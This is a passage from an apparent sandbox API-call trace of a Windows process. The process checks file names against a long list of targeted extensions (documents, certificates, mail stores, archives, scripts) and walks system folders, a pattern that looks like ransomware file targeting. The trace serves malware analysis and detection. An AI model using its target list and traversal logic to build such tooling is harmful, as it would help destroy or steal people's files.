[0100.978] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mfw") returned 4 [0100.978] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mht") returned 4 [0100.978] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0100.978] lstrlenW (lpString=".mhtml") returned 6 [0100.978] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0100.979] lstrlenW (lpString=".mka") returned 4 [0100.979] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mkidx") returned 6 [0100.979] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0100.979] lstrlenW (lpString=".mkv") returned 4 [0100.979] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mos") returned 4 [0100.979] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mov") returned 4 [0100.979] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mp3") returned 4 [0100.979] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mp4") returned 4 [0100.979] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mpeg") returned 5 [0100.979] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0100.979] lstrlenW (lpString=".mpg") returned 4 [0100.979] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mpv") returned 4 [0100.979] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mrw") returned 4 [0100.979] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".msg") returned 4 [0100.979] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".mxl") returned 4 [0100.979] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0100.979] lstrlenW (lpString=".myd") returned 4 [0100.980] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".myi") returned 4 [0100.980] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".nef") returned 4 [0100.980] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".nrw") returned 4 [0100.980] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".obj") returned 4 [0100.980] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".odb") returned 4 [0100.980] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".odc") returned 4 [0100.980] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".odm") returned 4 [0100.980] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".odp") returned 4 [0100.980] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".ods") returned 4 [0100.980] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".oft") returned 4 [0100.980] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".one") returned 4 [0100.980] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0100.980] lstrlenW (lpString=".onepkg") returned 7 [0100.980] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0100.980] lstrlenW (lpString=".onetoc2") returned 8 [0100.980] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0100.980] lstrlenW (lpString=".opt") returned 4 [0100.980] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".oqy") returned 4 [0100.981] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".orf") returned 4 [0100.981] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".p12") returned 4 [0100.981] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".p7b") returned 4 [0100.981] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".p7c") returned 4 [0100.981] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pam") returned 4 [0100.981] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pbm") returned 4 [0100.981] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pct") returned 4 [0100.981] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pcx") returned 4 [0100.981] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pdd") returned 4 [0100.981] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pdf") returned 4 [0100.981] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pdp") returned 4 [0100.981] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pef") returned 4 [0100.981] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pem") returned 4 [0100.981] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0100.981] lstrlenW (lpString=".pff") returned 4 [0100.982] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0100.982] lstrlenW (lpString=".pfm") returned 4 [0100.982] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0100.982] lstrlenW (lpString=".pfx") returned 4 [0100.982] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0100.982] lstrlenW (lpString=".pgm") returned 4 [0100.982] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0100.982] lstrlenW (lpString=".php") returned 4 [0100.982] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0100.982] lstrlenW (lpString=".php3") returned 5 [0100.982] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0100.982] lstrlenW (lpString=".php4") returned 5 [0100.982] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0100.982] lstrlenW (lpString=".php5") returned 5 [0100.982] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0100.982] lstrlenW (lpString=".phtml") returned 6 [0100.982] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0100.982] lstrlenW (lpString=".pict") returned 5 [0100.982] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0100.982] lstrlenW (lpString=".pl") returned 3 [0100.982] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0100.982] lstrlenW (lpString=".pls") returned 4 [0100.982] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0100.982] lstrlenW (lpString=".pm") returned 3 [0100.982] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0100.982] lstrlenW (lpString=".png") returned 4 [0100.982] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0100.982] lstrlenW (lpString=".pnm") returned 4 [0100.982] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0100.983] lstrlenW (lpString=".pot") returned 4 [0100.983] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0100.983] lstrlenW (lpString=".potm") returned 5 [0100.983] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0100.983] lstrlenW (lpString=".potx") returned 5 [0100.983] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0100.983] lstrlenW (lpString=".ppa") returned 4 [0100.983] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0100.983] lstrlenW (lpString=".ppam") returned 5 [0100.983] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0100.983] lstrlenW (lpString=".ppm") returned 4 [0100.983] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0100.983] lstrlenW (lpString=".pps") returned 4 [0100.983] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0100.983] lstrlenW (lpString=".ppsm") returned 5 [0100.983] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0100.983] lstrlenW (lpString=".ppt") returned 4 [0100.983] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0100.983] lstrlenW (lpString=".pptm") returned 5 [0100.983] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0100.983] lstrlenW (lpString=".pptx") returned 5 [0100.983] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0100.983] lstrlenW (lpString=".prn") returned 4 [0100.983] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0100.983] lstrlenW (lpString=".ps") returned 3 [0100.983] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0100.983] lstrlenW (lpString=".psb") returned 4 [0100.983] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".psd") returned 4 [0100.984] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".pst") returned 4 [0100.984] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".ptx") returned 4 [0100.984] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".pub") returned 4 [0100.984] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".pwm") returned 4 [0100.984] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".pxr") returned 4 [0100.984] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".py") returned 3 [0100.984] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0100.984] lstrlenW (lpString=".qt") returned 3 [0100.984] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0100.984] lstrlenW (lpString=".r3d") returned 4 [0100.984] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".raf") returned 4 [0100.984] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0100.984] lstrlenW (lpString=".rar") returned 4 [0100.984] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0101.004] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.004] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0101.004] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.004] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0101.005] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.005] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0101.005] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.005] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0101.005] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.005] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0101.006] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.006] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0101.006] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.006] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0101.006] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.006] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0101.007] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.007] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0101.007] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.007] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0101.007] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.007] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0101.008] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.008] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0101.008] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.008] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0101.008] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0101.009] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.009] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0101.013] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.013] FindNextFileW (in: hFindFile=0x3e50580, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0101.014] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0101.014] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0101.480] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.480] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0101.480] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.480] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0101.480] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.480] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0101.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.481] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0101.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.481] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0101.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.481] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0101.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.481] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0101.481] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.481] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 